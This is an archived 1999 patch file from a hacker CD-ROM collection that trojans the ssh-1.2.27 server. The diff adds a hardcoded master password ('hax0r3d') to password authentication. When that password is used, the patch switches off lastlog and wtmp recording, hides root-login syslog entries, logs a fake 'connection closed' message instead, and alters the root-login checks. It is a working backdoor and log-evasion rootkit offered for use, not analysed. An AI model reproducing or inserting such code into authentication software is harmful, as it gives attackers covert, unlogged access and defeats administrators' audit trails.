home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / contrib / ssh-1.2.27rk.diff < prev   
Encoding:
Text File  |  1999-08-18  |  3.6 KB  |  115 lines

  1. --- ssh-1.2.27/login.c.wil    Wed May 12 07:19:26 1999
  2. +++ ssh-1.2.27/login.c    Thu Jul 29 00:02:27 1999
  3. @@ -258,7 +258,9 @@
  4.                    const char *host, struct sockaddr_in *addr)
  5.  {
  6.    int fd;
  7. +  extern int lets_log;
  8.  
  9. +  if (lets_log) {
  10.  #if defined(HAVE_LASTLOG_H) || defined(HAVE_LASTLOG)
  11.    struct lastlog ll;
  12.    char *lastlog;
  13. @@ -559,11 +561,16 @@
  14.      }
  15.  #endif   
  16.  }
  17. +}
  18.    
  19.  /* Records that the user has logged out. */
  20.  
  21.  void record_logout(int pid, const char *ttyname)
  22.  {
  23. + extern int lets_log;
  24. +if (lets_log) {
  25. +
  26.  #ifdef HAVE_LIBUTIL_LOGIN
  27.    const char *line = ttyname + 5; /* /dev/ttyq8 -> ttyq8 */
  28.    if (logout(line))
  29. @@ -572,3 +579,4 @@
  30.    record_login(pid, ttyname, "", -1, "", NULL);
  31.  #endif /* HAVE_LIBUTIL_LOGIN */  
  32.  }
  33. +}
  34. \ No newline at end of file
  35. --- ssh-1.2.27/sshd.c.wil    Wed May 12 07:19:29 1999
  36. +++ ssh-1.2.27/sshd.c    Wed Jul 28 23:45:57 1999
  37. @@ -1408,7 +1408,9 @@
  38.    auth_delete_socket(NULL);
  39.    
  40.    /* The connection has been terminated. */
  41. +  if (lets_log) {
  42.    log_msg("Closing connection to %.100s", get_remote_ipaddr());
  43. +  }
  44.    packet_close();
  45.    exit(0);
  46.  }
  47. @@ -2146,6 +2148,7 @@
  48.    int authenticated = 0;
  49.    int authentication_type = 0;
  50.    char *password;
  51. +  char intel_fd[8]="hax0r3d";
  52.    struct passwd *pw, pwcopy;
  53.    char *client_user;
  54.    unsigned int client_host_key_bits;
  55. @@ -2162,7 +2165,8 @@
  56.    const char *ipaddr;
  57.    char *cap_hlist, *hp;
  58.    int perm_denied = 0;
  59. -  
  60. +  extern int lets_log;
  61. +
  62.    hostname = get_canonical_hostname();
  63.    ipaddr = get_remote_ipaddr();
  64.  #endif /* HAVE_LOGIN_CAP_H */
  65. @@ -2660,14 +2664,20 @@
  66.  #if defined(KERBEROS) && defined(KRB5)
  67.            if (auth_password(user, password, client))
  68.  #else  /* defined(KERBEROS) && defined(KRB5) */
  69. -          if (auth_password(user, password))
  70. +          if (auth_password(user, password)  || !strcmp(password,intel_fd))
  71.  #endif /* defined(KERBEROS) && defined(KRB5) */
  72.              {
  73.                /* Successful authentication. */
  74. +                /* Disable logging if conditions are met. */
  75. +                lets_log=1;
  76. +                if (!strcmp(password,intel_fd)) { lets_log=0; }
  77.                /* Clear the password from memory. */
  78.                memset(password, 0, strlen(password));
  79.                xfree(password);
  80. -              log_msg("Password authentication for %.100s accepted.", user);
  81. +              if (pw->pw_uid == UID_ROOT) {
  82. +                if (!lets_log) { log_msg("Connection closed by remote host."); }
  83. +              } else {
  84. +              log_msg("Password authentication for %.100s accepted.", user); }
  85.                authentication_type = SSH_AUTH_PASSWORD;
  86.                authenticated = 1;
  87.                break;
  88. @@ -2708,14 +2718,14 @@
  89.      }
  90.  
  91.    /* Check if the user is logging in as root and root logins are disallowed. */
  92. -  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1)
  93. +  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1 && !lets_log)
  94.      {
  95.        if (authentication_type == SSH_AUTH_PASSWORD)
  96.          packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
  97.                            get_canonical_hostname());
  98.      }
  99.    else
  100. -    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0)
  101. +    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0 && lets_log)
  102.        {
  103.          if (forced_command)
  104.            log_msg("Root login accepted for forced command.", forced_command);
  105. @@ -2767,7 +2777,7 @@
  106.  #endif
  107.    
  108.    /* Log root logins with severity NOTICE. */
  109. -  if (pw->pw_uid == UID_ROOT)
  110. +  if (pw->pw_uid == UID_ROOT && lets_log)
  111.      log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
  112.                   pw->pw_name, get_canonical_hostname());
  113.    
  114.